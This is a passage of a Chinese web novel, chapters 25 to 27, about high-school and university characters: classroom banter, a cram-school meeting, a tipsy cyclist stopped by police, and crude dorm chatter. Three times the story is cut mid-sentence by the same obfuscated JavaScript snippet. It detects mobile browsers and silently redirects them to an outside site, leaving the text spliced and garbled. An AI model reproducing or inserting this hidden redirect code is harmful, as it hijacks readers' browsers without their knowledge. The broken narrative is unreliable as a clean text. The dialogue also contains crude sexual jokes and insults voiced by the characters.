l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227505|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的,委屈巴巴模样撇嘴。 “女人撒娇是为了激起你的男友力和保护欲的,不是为了让你模仿的。”林愈合鸡皮疙瘩掉一地拾到拾到都不起来,特嫌弃。 大马猴只好自我安慰:“你跟我互讲黄段子的史上三强都是你讲的,虽然我至今都很不爽,但是也很敬佩你的,如此黄,黄炸天。” 林愈合没继续打趣,为自己在刚才话题辩驳别那么极致变态道:“这不算恶心,我写过蛇妖定期下蛋,然后蛋做成汤给受喝,我称之为断子绝孙汤,关键是没ooc但看得读者就是很崩溃。” “……”大马猴就脊背发凉,下半身也不得劲,“你对男的友好些。” “真的恶心嘛?”林愈合就随便写。 大马猴点头如捣蒜。 这恶心东西看一眼就想哕。 “看到能说会道的嘴的时候我知道我应该失望了。”林愈合低头继续写检讨书,幽幽道,连头都懒得抬,就听听,不乐意改正恶趣味爱好。 最新目标是奥特曼。 那迪迦是所有奥特曼中腰最细的。 最涩涩的。 嘿嘿。 “消消业嘛,从此清风拂面,再无罪责,否则杀孽深重。”大马猴怕她再整出幺蛾子,搞成乱七八糟拉郎配,看得人眼睛生痛,跟长刺似的密密麻麻。 倪旖竖着耳朵听着正来兴趣,用笔帽敲敲他俩桌面,微蹙眉道:“你俩谁能现在告诉我同人文啥意思?” 大马猴随时疑惑可还是准备解答。 刚张嘴就被林愈合捂住。 大马猴闲不下来,就磨磨唧唧的,摸摸林愈合头发:“你这夹子好土啊,像我妈那年代的,不对,是我奶奶那年代的。” 林愈合反手给他手背一巴掌:“孙子,鲨鱼夹会不会显得老我不知道,我只知道我坚持使用鲨鱼夹的根本目的是拯救我的发际线,再继续扎马尾的话,我就要变成一个阿哥了。” 大马猴乐两声。 空气又安静下来。 只剩下圆珠笔摩擦纸面声音,很粗糙的剐蹭声。 林愈合忙活自己的事情,往边上一扫,他呆呆地望着窗外,便也好奇凑过去看,就是没看到什么门道三,幽幽问:“你刚刚在看美女嘛?” 求生欲极其强烈的谢灵桓只好恋恋不舍挪开视线:“就看了一眼。” “真的?”林愈合觉得鬼都不信。 “我是盯着一直看的,没眨眼。”谢灵桓坦坦荡荡,颇为自信。 最后是语文课,挺无聊课程,尤其对纯理科混子来说。 学习甚至从业文学哲学类领域的群体,素质极其低下,简单说就是混饭吃当荣誉,世界上死几个清洁工造成的损失比死这些人要大得多,当然,这并不是贬低清洁工,权作说明。 此刻,那老教师老态龙钟拄着拐杖讲授语文文言文题目翻译材料。 一段史料记叙隋炀帝的。 翻来倒去讲个没完,吧啦吧啦两节课都快没了。 老教师爱启发思考,经常把快下课前五分钟课堂时间留出来让大家就这堂课的偶遇的某个主题自由发言,发言的踊跃度决定印象,或多或少对市三好推荐名额有点影响,所以大家不管有没有想法,多少都会讲几句。 毫不例外,这次讨论隋炀帝,发言的人跟春雨竹笋似的往上冒。 “……穷兵黩武啦……” “……劳民伤财啊……” 好些老生常谈的俗套观点。 “何遽。” 那个诗人男孩缓慢站起来。 “窗外有什么?”老师半是玩笑半是叮嘱侧面让他集中注意力。 “窗外什么都有。”男孩留恋不舍般瞥了眼窗。 老师鼓励他继续发表观点。 “我觉得隋炀帝蛮浪漫的。”男孩细声细语,用指关节推了下圆框眼镜。 25.表白 大家纷纷摘掉眼镜看他。 林愈合盯着他,就听他不疾不徐接着说:“修条运河,好几千公里,好多年,就是去为了看美丽的牡丹。他是个天生的诗人呀。” 接下来也有些观点充斥最后十几秒。 但这个诗人总是这样不同,就算他是综合排名班级倒数第一。 这些看诗人的眼睛没有倪旖的,此刻,倪旖脖子以上做单摆运动,眼珠做简谐运动,手握着笔在书本上做布朗运动,整个人处于熵增状态。 林愈合抬脚轻轻踢她椅子脚,示意她别睡得太明显,老头难过。 甄凝微微蹙眉,大腿往外一拐,白球鞋隔着林愈合的脚和椅子间空隙,怕弄出一点动静,将人搂着靠在肩膀上后淡淡用口型说:“让她睡。” 就算轻手轻脚,倪旖还是被碰醒,迷迷瞪瞪仰头看她,她在面前半俯着身子低头看这,垂下来的发梢在余晖中泛着柔柔的光圈,甄凝驾轻就熟弯了弯唇角。 “没关系,继续睡吧。”甄凝轻声说,稍微挪点位置,给她遮着夕阳光线。 倪旖都分不清是梦还是什么,就安安心心闭眼靠她怀里打盹儿。 极度困倦的睡眠里教室一瞬间安静下来,只有甄凝的钢笔尖在纸上划动的沙沙声。 甄凝垂眸时能闻到倪旖身上甜腻腻味道,每次跟她在一起时都会有种温暖的感觉,静静听着她平稳一进一出呼吸气息,就像脑袋绷了好紧的一根弦缓慢平稳松懈,全身心松弛下来,暂时放松了对周围世界的戒心。 “甄凝啊,同桌这么睡觉也不怕脊椎不好,你得表示表示。”语文老头就爱说反话,这应该是文化人必备,弯弯绕绕让你猜。 全班视线又转移。 诗人依旧朝窗外看。 林愈合轻声翻译他脑袋想法:“啥时候出狱?出狱了能干啥?放风时间有多久?啥时候回牢里?” 诗人被逗笑一下,轻声无力道:“你呀,好好学习,不要像个我。” 林愈合摆摆手,有点落寞道:“害,所以我这样比较惨吧,我算是正常人里稍微机灵点的,是连聪明都算不上,我进班发现那么多比我优秀的人,但我追不上的,一辈子可能都跟不上,真的很绝望,而且毛病一大堆,改不掉。” 诗人没说话。 这些有点灵气但不多的普通人最惨,不愿接受平凡,不甘心没成就,在无意义比较中燃烧青春,但他们很快发现,与宇宙相比,人类不过是个被农产主饲养的火鸡,在这无休止的内卷和争斗间,燃烧是无意义的,一腔热血喷出来,比一泡尿凉得更快,还不如后者有价值。 接着,他们会发现,连有价值都没价值。 “你的神经反射弧可以绕地球五圈。”林愈合又被冷漠对待,都无语了。 “不要试图拯救我,不是我病入膏肓,是我正清醒着。”诗人揉揉发酸的眉。 我见众人皆煞笔,料众人见我应如是。林愈合很赞同这句话,诗人就是傻逼。 甄凝装作听不懂,抬手拿一张暗黄色草稿纸挡光线,淡道:“表示好了。” 随后沉默一会儿,紧接着嗤然一片。 甄凝抬手先是比出“嘘”姿势,随后给她捂着耳朵。 倪旖在学校熬到放学就回家去,晚上得跟表姐参加cos展览。 其他人,有些需要补课也可以不上晚自习。 比如,徐浣若。 补习班的位置不固定,和大学阶梯教室一样有先到先得的规矩,最好座位是里靠窗第三排,离讲台不会太近也不太远,智能希沃白板反光厉害也能看清白板和PPT,又在窗边,听课听累了能看窗外风景小小偷懒放松一下,和空调的距离刚刚好,不亚于王的故乡——最后一排。 徐浣若疲倦地曲着胳膊支撑脑袋,瞥一眼黑板正上方那电子钟,还剩五分钟就是物理补课时间,上完这节课,下节课还是数学,直到晚上十点半才能走。 迷迷糊糊时候,徐浣若被轻手轻脚拉桌椅拖拉地板吵醒。 “嗨!我叫倪箴,补完物理就完事了。” 同桌男孩将文具袋摆在桌边,将氢气球绑在橡皮上,笑得很开朗青涩。 “你好。”徐浣若随意回复,揉揉发酸的肩膀,然后继续物理题。 倪箴懒散趴在桌面画海鸥,神情专注,连笔触都小心翼翼。 徐浣若往墙那边躲躲,怕碰到他胳膊。 “不好意思啊,”倪箴察觉她动作,讪笑一下,往边上挪挪,搭讪道,“你这道题不会嘛?看你一直盯着,得有五分钟了。” 徐浣若敷衍点头。 “我教你吧。”倪箴找个铅笔在试卷上指示,“首先他的abc选项都是沿着x,都是文科制胜法排除, A选项太过于绝对,排除,然后B选项y轴上o这些存在,这个可以保留,因为它是存在,就比较那个那个那个,适中,中庸嘛, C选项的大小数值的很恶心直接跳选D。” 徐浣若揉揉耳朵,满脸蒙圈看一眼答案,太阳穴跳着痛:“……选错了,答案是D。” 倪箴依旧自信满满:“下一道题文科致胜法,根据数学原理,可以照着前面没有卵用的东西,然后发电3000,然后200,然后最接近,这几个字词,看一下选项数值,忽略乘号后面的几次方,14,14,84,64,选a。” “选错了。”徐浣若难以置信望着补习班门牌号,没走错,是金牌讲师班。 “这一题选4那个数值重复的,所以选A.” “再一题就两道线,好简单,我都不知道怎么蒙了,我被题目霸凌了。” “下一题砖块做功,做功那我们就做受,前三个选项 cos还有大写q都圆圆的,挺像零的,那就选D吧。” 徐浣若弱弱将自己试卷拿回来,试探问:“同学你走错班级了。” 倪箴狂笑不止。 徐浣若才意识到被耍了,气得把自己东西收拾准备换座位,可老师从门外卷着一沓试卷走上讲台,也不好起来。 倪箴见她试卷那铅笔浅浅印记还在,就顺手给擦干净:“对不起,我看你心情不好,就开个玩笑。” “嗯。”徐浣若咬唇,见试卷一排一排传递过来,脸色都发白。 “没事吧?”倪箴接过试卷,随意瞥一眼,从包里掏出热牛奶和糕点给她,“你晚餐没吃嘛?” “谢谢。”徐浣若马不停蹄跑来,根本没来得及吃饭,肚子饿得很痛,攥着那牛油纸包着的西式餐点想啃一口,但课堂礼仪要求她不要放肆。 “我等会儿给你抄题目,你偷偷吃完休息一会儿。”倪箴见状把试卷展开挡住一点讲台视线。 “……”徐浣若没做好要拿零蛋的准备,慌忙道,“不用不用。” “我没走错班级。”倪箴笑着解释。 徐浣若肚子痛得不行,慌不择路就答应他,就看到他举起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227506|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张旧卷子上一个个小方框里画满个海鸥,吃薯条的海鸥,啃苹果的海鸥,抢假发的海鸥…… 物理课两小时就结束。 徐浣若盯着那张满分试卷发呆。 倪箴收拾文具将气球拽着打招呼:“我先走了,有缘见。” 见徐浣若那边就剩她一个,前排一个黑框眼镜男孩走过来,递给她一个玲娜贝尔挂坠玩偶:“同学,我能跟你表白嘛?我是岽一中预科班的,直升高三参加高考少年班。” 徐浣若叹息,“你为什么喜欢我?” 眼前这位的回答除了长得好看之类的废话,还说了一个对徐浣若来说教科书级别的错误回答。 “因为你总是计划周密,也总是有毅力执行自己的计划。我从你身上学到了很多,我也想成为你这样的人,我也希望在你的时间表上有我的时间。” 徐浣若快速收拾书包转移下个数学课堂,委婉拒绝:“我不需要一个想成为我的人,我需要的是一个我想成为的人,因为我讨厌现在的自己。” 徐浣若本质就很慕强,因为没有安全感、没有成就感而强迫症一样地做着计划,想要放松却又被焦虑逼着往前跑,她最讨厌的状态被人喜欢很糟糕。 因为“有用”而喜欢她的人,就会因为“没用了”离开 “咚咚——” 倪箴敲两下后门,笑着解围:“若若,走不走啊?” 徐浣若轻蹙着眉,满脸疑惑地抬头望向倪箴那双似喜非喜的丹凤眼,这眼中的两个浅棕色瞳仁流露出不符合他气质的深情。 表白男孩牵着徐浣若衣袖,连眉都蹙在一起,不太希望被打断。 “不好意思啊,她有男友,是我。” “希望你能找到理想的缜密女孩。” “若若之前总觉得冥冥之中有什么在追赶,不能停下来,危机感真的很重,所以要不断设定短期目标、长期目标去完成,但凡长时间停滞或者放纵,就感觉天要塌了……这样独立是作为男朋友的我的耻辱。” “若若,其实,你不需要这样做,你不需要计划表、行程单,只要跟着我走,我会为我们想好旅行的行程、放松的计划,把你的休息日交给我吧,一切都不会有问题的。” 倪箴把那男孩手给撇开,护送徐浣若在众目睽睽下脱困。 “倪旖!” 那男孩叫了一声。 虽然窗外外面朦胧的一层雾气,就像森林无人角落里的蜘蛛网上的露珠,处于将坠不坠的极端平衡,但是楼梯上还是干净的,没有特别明显的湿脚印,只有上楼后露天墙角边缘被落下的檐边水滴浸湿,有几摊水。 徐浣若抬眸湿漉漉望着他。 “你别哭啊,刚才是迫不得已才装的,我走到楼下发现你试卷被我装书包,怕你着急,就回来。”倪箴从口袋掏出小包纸给她,不好意思解释。 “谢谢。”徐浣若擦眼泪。 “不客气,你不是叫徐浣若嘛,那男的喊的不一样。”倪箴刚才吓一跳,还以为姐姐放学又接他来了,看见他不务正业撩妹就得揪着他耳朵教育人。 “那男的可能认错人,倪旖是我班上同学。”徐浣若哽咽。 “哦哦,这个派大星气球送你,有缘再见。”倪箴说完就离开,他得快点回去,姐姐估计得饿死,连泡个方便面都不会的懒家伙。 倪箴把气球送出去,又在路上买个一堆里最可爱的小灰灰氢气球给姐姐。 26.漫展 楼上忽然静了三秒。 先一阵趿拉的拖鞋声由远及近,然后“哐啷”一声隔壁房门被人打开,紧接着响起了一道极度暴躁并且不耐烦声。 “姐,干哈?” 刚睡醒,带了满格的惺忪意味。 倪箴在家里困睡着都没等到姐姐,给姐姐泡开的方便面都给他吃撑死。 “我漂亮吗?”倪旖转个圈圈。 倪箴整个一难以置信:“这是你问出来的问题吗?你怎么会问出如此可笑的问题?” “……”倪旖确实有点迷糊。 刚刚喝了个白桃汁儿,脑袋就晕。 倪箴上下一扫视,姐穿一身浅粉色白衬,宽大蓬蓬裙层层叠叠,头戴着一对白色的猫耳,左边毛绒耳朵还系着蕾丝蝴蝶结小铃铛,只要略微歪头,铃铛就会发出微弱的泠泠脆响。 这就是个非常典型的洛丽塔。 ACGN鼓腮发嗔或眉眼弯弯,惊讶张口和瘪嘴卖可怜,眼角眉梢连着唇角都带着一股能感染人的热情。 这姐……就哪儿哪儿都违和。 一点都不可爱。 欢乐谷效应似的。 太熟悉就别扭。 倪箴觉得挺漂亮,但辣眼睛。 “许和隋让我穿的,我走啦,你要饿就吃方便面,或者我整的蛋炒饭,爸妈都应酬呢。”倪旖叮嘱两句。 “方便面。”倪箴满格求生欲,就算他一听到这个词就想吐。 倪旖也没理攥着腰带脑袋昏沉,就感觉莫名熟悉,跟醉酒似的晕。 倪旖背着白书包,趴二楼阑珊处,透过余晖下水荇交横的树影间隙看远处热闹篮球场,散发温热红塑胶跑道上,有一群男孩子奔跑的身影。 倪旖休息结束便噔噔噔下楼,往车库里看,自行车上莫名挂着氢气球,还是喜羊羊与灰太狼中的小灰灰。 难道是倪箴被表白? 也只是迟疑一秒。 倪旖自动忽略那氢气球,幸亏穿了安全裤直接踩那脚蹬子都踩出火星来,鼻吸紊乱,连额头都冒汗。 去展览馆参加好活动,跟各种coser拍完照,才瞅见表姐许和隋,她cos某款殖民乙女游戏中男主,别说,真挺帅。 “姐,刚没瞅见你。”倪旖扶额眼神有点迷糊。 “有人拍照耽误了,蒋商鉴那事你想插手是吗?自己得摘干净,别跟凤姐似的,丹唇未启声先闻。”许和隋拨弄一下假发,还顺便跟别人打招呼。 倪旖点点头,临走时先解释:“知道,你继续玩去,我待会得回家,箴箴吃方便面,我怕他烧水烫着手。” “行,那边有工作细胞cos,你去看看,那群文盲争执活命长短,你去拉架吧,挺热闹的,你就爱热闹。”表姐怕她无聊,直接给她找乐子。 倪旖点点头,去那边展览区,跟白细胞似的挥动首冲向杂菌,那地方果然热闹,都吵起来,白细胞因为杂菌有意识的挑衅引诱,逐渐靠近在角落暗中探的杂菌小队。 准备瓮中捉鳖,近身肉搏。 倪旖怕出事,好歹这主办方还是表姐投资那团队整的,实际上是嗑瓜子看热闹不小心就陷入大乱斗中,那杂菌们抓住机会,扭曲道劲的手如同守多时的毒蛇瞬间发力绞上倪旖手腕。 倪旖被扼住咽喉无法发声,安静而无力挣扎着,缺氧导致的意识模糊让她无法看清周围一切,只是追逐本能注视着光亮。 一道清崛身影瞬间混杂光与风挡在身前,那杂菌cos重重摔倒在地。 瞬间空气涌入,倪旖猛吸入一大口空气,胸口剧烈起伏,咳两下,才有意识调整呼吸频率,小口呼吸。 “没事吧。”那英雄救美男的过来问,随后指责那些细胞coser,“你丫上瘾了,这是现实世界,也不怕报警。” 地上杂菌揉揉脑壳,也恢复理智,急忙道歉:“不好意思,我们这是表演白细胞斗杂菌呢,没瞅着路人。” “谢谢啊。”倪旖就看热闹,被卷入混战,就挺倒霉,起来揉揉眼。 “需不需要去医院?”那男的问,眼眸子微微往下,带着淡淡忧伤,语调带着粘稠绵密的温柔情感。 “没事儿,谢谢啊,姐,我走了。”倪旖骨头也硬,根本不怕这小打小闹,这才注意到救自己的是班里隋炀帝牡丹诗人,摸着手机就出场馆,那浏览过的内容不点赞就会一直推送直到你点赞,真烦。 倪旖一脸烦躁塞回包里,骑着自行车来劲儿,想踩上前面那坡。 “滴嘟滴嘟——” 倪旖耳里钻来警车鸣笛声。 心里觉得哪里出了命案。 反正跟自己没关。 直到被逮住。 倪旖懵圈下车,抬眸时眼里泛清澈的愚蠢,可能是酒精麻痹,抬手机械性打招呼时就跟痴呆打苍蝇似的,笑得极其乖巧:“警官好。” “唉,你好。”警察用手示意她往边上去。 倪旖极其乖巧地溜达过去。 “我们到边上聊聊,我问你,你该走哪个道儿。”警官先出示交警证,然后对镜头先解释情况。 倪旖攥着裙边,特实诚道:“州圻大道。” 警察年纪挺轻,二三十岁模样,样貌挺板正,戴着警官帽,特精神,被这话整的一懵圈,微蹙眉:“是什么呀?我说问你到哪儿。” “世纪蓝海。”倪旖语气弱弱的。 “那你走哪个道?”警官问道。 “州圻大道。”倪旖重复着。 “哎呦,不是,你这?”警察捏对讲机。 倪旖揉揉鼻尖,抬眸乖软道:“这是自行车。” “……”警察笑笑,“我知道。” “哦。”倪旖有问必答,绝对不能把这话整地上摔着。 “我是说你这车能不能走?”警察微弓着肩膀,耐心询问。 “没坏啊。”倪旖眸子清澈。 “那走哪儿啊?”警察再次问。 摄影大哥憋笑得镜头都颤抖。 “州圻大道。”倪旖礼貌性点头。 “妹妹,咱先别乱,我是说你这车子。”警察思考时使劲眨眼睛。 “自行车。”倪旖表现很好,直接抢答,还傻乎乎乐两声。 “……”警察沉默震耳欲聋,“我认的这是自行车,你能拉一个气球?” “能,但不能多拉。”倪旖感觉这个警官有点假,脑子跟混了水泥似的,搅不开又乱七八糟。 “……”警察很认真思考,这妹妹估计有智力缺陷,找不着家。 倪旖见他迷糊,咳嗽两声说:“在标准大气压下,氢气密度为0.0899kg/m,空气密度约为1.29kg/m。” “根据阿基米德原理,自行车质量20kg,重力200N,要使自行车飘起,根据受力分析可知,自行车重力等于气球排开空气重力减去氢气重力。” “那么可以算气球体积16.665m,一个10寸气球体积约14.1L合0.0141m,此时就需要气球约1182个。” 倪旖顺嘴说出来,补充道:“还有问题吗?我要走周圻大道去世纪蓝海,自行车可以驾驶,自行车就长这样,不信上网搜去。” “……”警察甚至怀疑自己智商。 “……”摄像大哥呆了。 “我的意思是,你走的是机动车车道,还喝酒,醉驾罚款50,去交管所办理手续。”警察怕她智力缺陷影响回家判断,貌似还有点疯癫,直接连人带车给拷回去。 “自行车有醉驾?”倪旖迷糊。 再过5分钟,倪旖安安稳稳坐在交警等待椅上,从包里摸手机眯着眼睛找熟悉联系人。 小号里全是陌生人加的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231588|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友。 除了,师哥。 倪旖脑子晕乎乎,真不知道怎么切大号,迟一两秒直接点视频通话。 嘟嘟嘟—— 倪旖对着镜头撩撩刘海,脸颊带着微醺的粉红,眼神也像晕乎乎的。 蒋商鉴搁宿舍在笔记本电脑上查看文献资料,手机一个劲儿震动,配合妃子那张数学满分的脸在那儿笑抽抽声音,便皱眉撑着椅子靠背起身去门外。 蒋商鉴点开视频接通。 “师哥,能来接我吗?” “……” “我被条子拘了。” “……” 倪旖为保持可信力转变摄像头往四周拍拍,边说:“醉驾。” “……”蒋商鉴蹙眉都不放,感觉自己听不懂汉语,保持点距离感缓缓说,“这事你得找监护人,我去也没用。” “我父母都应酬不在国内,箴箴比我小呢,貌似也不能把我赎回家去。”倪旖被嫌弃,连精神气都耷拉,很明显受了伤害。 “你再找其他人,我有文献要查阅,估计得通宵。”蒋商鉴很委婉拒绝。 “……”倪旖面带倦意抬眸,“那找箴箴,我电话欠费,微信没熟人。” 这就自曝她给的微信是小号? “我帮你缴费,你记得找人去捞,我真有事儿。”蒋商鉴先是给她拨打电话,确定电话停机后帮她缴费50块钱。 蒋商鉴叮嘱后就回宿舍去,刚摸着鼠标就被晃肩膀莫名其妙看了段鬼畜。 “你走哪个道?周圻大道。能系气球吗?能系一点点,不能系多……” “这是?”蒋商鉴眉头紧锁,随后快速起身披上外套。 “小天才这智商是波浪形的,才一小时就冲热搜做鬼畜。”妃子靠衣柜上两手摸手机,乐呵呵笑得皱纹都出来。 蒋商鉴平时没冷脸,但大概是他自带气场原因,脸稍微板一点妃子就会收敛闹意。 “酸哥失恋,你就别让他送,找我亲爱的海星朋友,他刚提了一辆帕拉梅拉ST,哎——,当时我就知道,我再也不是他父亲,而是他忠诚的义子。” 妃子打趣道,吃了瘪,靠椅上,双脚交叠翘在桌子上,将手机音频键拉为静音,对着那屏幕默默地笑了好几声。 “他是你干爹?”蒋商鉴散开笑意。 妃子满脸气愤,指着鼻子道:“干嘛说话那么脏。” 干爹,就那啥金主爸爸意思,挺不好的词汇。 “他那钱可是自己挣的。”蒋商鉴解释。 “那跟他是富二代有毛关系。”妃子嫉妒之心油然而生,表情尤为壮烈。 “他是富一代,本科土木,为了拿到工程,今天给领导小三装修房子,明天陪小四去泰国旅游,后天给小五排队抢商铺开美甲店,房地产最火的那些年,赚得盆满钵满。”蒋商鉴一点也不羡慕,这是他应该得的,这种事但凡有点道德都不乐意。 妃子诧异:“居然不带我。” ……好吧,没道德的人不止海星。 当然也不止妃子。 如果能短时间获得巨量收益,想必没多少人能秉持道德感。 “记得把你袜子洗洗。”蒋商鉴见状径直离开,没啥好说的,去隔壁宿舍敲敲门,倪旖喝多了脸红,红晕从脸颊蔓延至耳尖,说疯癫话……特别特别可爱。 敲门还是习惯性三下。 蒋商鉴等隔壁门开了,侧眸瞅见悲伤蛙,淡淡道:“送我去坎景区交通局。” 酸哥泡脚呢,一把鼻涕一把眼泪使唤海星:“加点洗浴盐和醋。” 海星没好气举着一桶洗浴盐往里倒:“卤鸡爪呢?” 听到“鸡”这个字眼,酸哥明显的哭腔哽咽。 妃子自带bgm路过门口,妖妖灵,极其富有感情说:“有一种爱叫做放手,为爱抛弃我的所有……” 27.捞人 “你是生怕他走出来啊。”蒋商鉴无奈道。 海星顺带靠椅子上,劝着:“分了好,你总不能看她变成泡芙。” “你才泡芙。”酸哥整个人都崩溃。 蒋商鉴受不了,伤口撒盐:“5P反正我是受不了。” 海星埋怨道:“还提,你丫快闭嘴,酸哥大度,平时看视频都是1080P高清,接受度挺高。” “你这话,还不如不安慰,他都快忘记了。”蒋商鉴嗤笑道。 酸哥哭得更凶,抱着电脑一耸一耸肩膀。 海星见他看电脑用手指,估计眼里是泪都模糊,便开玩笑道:“你们谁懂啊,现在是年纪大了,看屏幕不指着是读不进去了。” 妃子端着拖把破门而入,微蹙眉,特直接劝慰:“人家是极品宜男相和容易生儿子体质,还有亲亲老公的宝宝娇妻。” 酸哥猛扎进被子里放肆哭泣。 “你去检查一下身体,在一起六年那女的约炮你是一次都没发现,别得艾滋,不是关心你,只是担心我们被传染,商商还是个雏,一次没感受很悲惨的。”妃子板着脸说话,把手上拖把靠一边后抬手摩挲了下站一边蒋商鉴,很敏锐地察觉出蒋商鉴情绪,问道,“怎么着你偷偷吃了?” “滚——”蒋商鉴把他覆在腰上的手甩开,“你们能不能不要猥琐?” 有时候,开黄腔显得自己低俗,就是个有缺点的人,就容易被接纳一些。 但这种和谐好像牺牲的都是被开黄腔的人,无论男孩或者女孩。 很不好的。 “不然让海星带你玩一把?偷摸着带你,敢不敢?”妃子逗他玩,这人碰触到私人感情一点就炸,很纯情的男生,听不得半点脏东西。 “你滚——”蒋商鉴梗着脖子红着脸解释。 “大清都亡了多少年?你这么封建?思想洁癖。” “你那么想玩,也没见你跟海星一块去,就知道害我?” “哪儿害你?” “你初恋最近联系你了吧?这几天嘴都笑裂了。” “滚滚滚——”妃子捂脸保持尊严,实则都快笑脱了。 酸哥泪眼朦胧。 蒋商鉴见他挺惨,伸胳膊替他掖好被角防止他太羞耻,准备安慰他两句,找个旁边床铺,往下一躺,觉出不对劲,被满床零嘴渣子咯着背。 “刘海信!说过多少次不要在床上吃零嘴!” 蒋商鉴气得眼前一阵黑,想把一脸无辜的海星兄弟按床上打一顿,然而打折了腿要鞍前马后伺候,打哭了要死皮赖脸去哄,还会被这好吃零嘴的男的讹诈要更多的零嘴儿,真是惹不起碰不得的。 海星识趣地围过来,死皮赖脸凑上来说笑话,伸手不打笑脸人,毕竟每次叠被子都是商商来的,顺手从枕下摸出剩下半包花生米,无意识撒娇道:“别生气嘛,没吃独食,给你留了的,大半包呢。” 蒋商鉴气得飙,可却哭笑不得,只得让他挪开高贵屁股,自己则弯下腰没好气继续任劳任怨地扫碎屑。 “哝——”海星试图吸引注意力。 蒋商鉴根本不睬他。 然而这海星绝对是天生受虐属性,越是不理他,越是缠得紧,不依不饶地继续戳他的背,挤眉弄眼一旁瞎鼓捣呢。 蒋商鉴得空余光瞥了下海星,就看海星一只手按着自己的鼻子,按出了一个猪鼻,试图逗他笑。 “笑了就不算生气,下次继续帮我叠被子,我妈老视频检查,下次变本加厉直接无时间无地点无通知抽查,好烦呦。”海星一副公子哥模样,双手整得就会拿筷子吃饭。 “你好意思。”蒋商鉴抱怨,叠完被朝门外走去,“酸哥还挽留那女的?” “舔狗,服了,人家玩群炮,”海星朝里也瞅一下,特嫌弃,“酸哥那谈6年的女友真牛,他在寝室哭闹,一直泡脚刷手机,我送你。” 酸哥,首字母是HCL,都叫他酸哥。 韩从麓,名字怪好听的。 “……”蒋商鉴面色复杂,“你才拿驾照,我怕你给带沟里去。” “我都做好标注,绝对成。”海星说起来十分自信,眉飞色舞地就扯着外套攥着车钥匙推搡着蒋商鉴下楼。 蒋商鉴转头准备走,微微蹙眉,略带疑惑道:“他是不是拿我的脸盆泡了一天的脚?” “……”海星回头一看脑袋都要爆炸,赶紧拽着蒋商鉴离开,还一个劲儿嘀咕缓解气氛,“他媳妇儿都跑了,多谅解谅解,虽然……在这段感情里,你也是受伤的一方。” “……”蒋商鉴都快被气笑了,“他再当舔狗,咱就找个四下无人的夜,把他丢海里,喂鲨鱼吧。” 蒋商鉴将棒球帽檐微微下压遮挡了部分视线,汽车灯一打开像悬浮着的两柄利剑,在黑夜肆意穿刺,四周建筑如同冷漠僵硬的巨人般静默着。 “我看你晚上还没吃晚餐,你总是忘记照顾自己,哝——,光喝白开水怎么行,很伤胃的。”海星从车里翻出几个面包塞给了蒋商鉴。 蒋商鉴眉眼动了下,没说什么。 海星话不轻不重,很随意,随意到习以为常的亲昵,周围散步学生都听得到,顿时所有人都在看他们。 其实,男生关系好特别容易被误会。 平时有所猜测的暧昧行为都被磕疯了。 所以现在这话在很多人耳里听来隐藏的信息量很大。 夕阳下,刘海信微微发红的脸颊被映衬得更红,尴尬一笑,两个可爱的酒窝就浅浅地在脸上浮现。 这哥真是,第一眼就觉得他帅,但是熟悉之后真的是那种伪装出从骨子里出来的萎缩懦弱和恶心,性缩力拉满了。蒋商鉴眉头微微发皱,心道。 海星明显不悦,随后大声道:“那个挺好看就是太矮了,也不知道卸了妆啥样还能不能看。这个身材真她妈牛,我艹快看这个,至少得她妈二百来斤吧……” 就是猥琐,看吧。 蒋商鉴直接用胳膊肘戳戳他,示意他闭嘴,这种自损八百很丢人。 他碰到这种事情总是如芒在背的,但改变不了。 因为成年人世界上,真话得罪人。 假话都看得出。 黄话才是一团和气。 海星瞅着目标那人满脸厌恶离开后偷偷跟蒋商鉴说:“这样她估计立马就感觉我暗恋的这是个什么人啊,太下头了!那姑娘招呼也没再打,拿着几个烤串就走了。” “还有人暗恋你啊?”蒋商鉴赶紧躲车里。 “那是,不过,我就是想玩玩,那烤串姑娘一看就很良家妇女,这种一旦碰了就甩不开,比嚼过的口香糖还难缠,都半年了,还总纠缠我,病娇似的恐怖。”海星到底是个少爷脾气,爱鬼混,在圈子里也吃得开。 蒋商鉴白眼道:“那,你花钱看伪娘扭屁股,确定没病吗?” 海星心态特别好:“屁股舞扭得那么疯魔,确实无药可救。” 蒋商鉴没法说些什么,只是转移话题:“你名字好难听,那姓氏不太像主角的姓,反而像主角身边那种看起来不太靠谱实际上比主角都靠谱的朋友的姓。” “商商,你别死板,该玩就玩,哪那么多一生一世一双人,多谈两个积累经验呗。”海星半开玩笑道,商商那种性格死板得像小时候的纪律委员,专门拿本子登记谁没穿校服谁交头接耳那种。 蒋商鉴敷衍道:“那也不能找应召女郎。” “钱挺有用的,要不要哪天带你破个处?”海星调皮眨眨眼。 “滚——”蒋商鉴烦得要命,总是拿这事开玩笑,“你猥琐。” “要爽来找我,我会让你很爽的,本王亲自服务。”海星故作高深道。 蒋商鉴就差拿刀捅人才能让他闭嘴。 “她明知道我是个渣男,却还对我投怀送抱,我觉得智商多少有点问题,但我智商又没问题,因此拒绝过很多女生,但没拒绝那种事情。”海星一套渣男发言着实找抽。 